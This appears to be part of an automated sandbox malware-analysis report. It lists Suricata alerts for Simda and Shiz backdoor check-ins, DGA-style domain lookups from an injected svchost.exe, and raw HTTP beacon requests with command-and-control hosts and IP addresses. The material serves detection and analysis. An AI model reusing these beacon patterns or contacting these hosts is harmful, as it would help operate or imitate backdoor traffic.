Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:61321 -> 103.224.212.210:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59545 -> 85.17.31.122:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:50851 -> 154.85.183.50:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:50851 -> 154.85.183.50:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59545 -> 85.17.31.122:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:50852 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59534 -> 199.191.50.83:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59534 -> 199.191.50.83:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:50852 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59546 -> 172.234.222.143:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:50844 -> 103.150.11.230:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59546 -> 172.234.222.143:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:49369 -> 52.34.198.229:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49369 -> 52.34.198.229:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:50842 -> 188.114.96.3:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:50842 -> 188.114.96.3:80
Source: Network trafficSuricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 52.34.198.229:80 -> 192.168.2.5:49369
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:50843 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59547 -> 13.248.169.48:80
Source: Network trafficSuricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 52.34.198.229:80 -> 192.168.2.5:49369
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:50843 -> 18.208.156.248:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59547 -> 13.248.169.48:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:50844 -> 103.150.11.230:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:60101 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:60101 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59528 -> 162.255.119.102:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59531 -> 172.234.222.143:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59531 -> 172.234.222.143:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59528 -> 162.255.119.102:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59536 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:50849 -> 13.248.169.48:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59536 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:50849 -> 13.248.169.48:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:61322 -> 15.197.240.20:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59544 -> 154.212.231.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59544 -> 154.212.231.82:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:61322 -> 15.197.240.20:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59532 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59532 -> 44.221.84.105:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59541 -> 85.17.31.122:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59541 -> 85.17.31.122:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:50853 -> 103.224.182.252:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:50853 -> 103.224.182.252:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59537 -> 208.100.26.245:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59537 -> 208.100.26.245:80
Source: Network trafficSuricata IDS: 2803437 - Severity 1 - ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin : 192.168.2.5:59529 -> 3.64.163.50:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59529 -> 3.64.163.50:80
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49721 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49723 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:50846 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:49737 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:60696 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59543 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:59539 -> 188.114.96.3:443
Source: Network trafficSuricata IDS: 2804852 - Severity 1 - ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin : 192.168.2.5:50848 -> 188.114.96.3:443
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\apppatch\svchost.exeDomain query: lysyvan.com
Source: C:\Windows\apppatch\svchost.exeDomain query: puzymig.com
Source: C:\Windows\apppatch\svchost.exeDomain query: vocydof.com
Source: C:\Windows\apppatch\svchost.exeDomain query: lyrysyj.com
Source: C:\Windows\apppatch\svchost.exeDomain query: volymaf.com
Source: C:\Windows\System32\svchost.exeDomain query: qexylup.com
Source: C:\Windows\System32\svchost.exeDomain query: qetysuq.com
Source: C:\Windows\apppatch\svchost.exeDomain query: lyvytuj.com
Queries Google from non browser process on port 80
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyfyj.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: www.gahyqah.com Connection: Keep-Alive Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET / HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww1.lysyfyj.com Connection: Keep-Alive Cookie: sid=a5fae49c-616e-11ef-add0-e1f04491a098 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupydeq.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupycag.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyrysor.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: pupydeq.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galynuh.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyciz.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyxynyx.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qexyhuv.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vofycot.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?subid1=20240824-0243-071d-8c4b-3f42cf5256c3 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww25.lyxynyx.com Connection: Keep-Alive Cookie: __tad=1724431387.5010053 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php?sub1=20240824-0243-077d-8f61-d4c58a818681 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww16.vofycot.com Connection: Keep-Alive Cookie: __tad=1724431387.3029143 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qexyhuv.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyhyg.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: C:\Windows\apppatch\svchost.exeHTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lygyvuj.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyhiz.com Content-Length: 6 Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
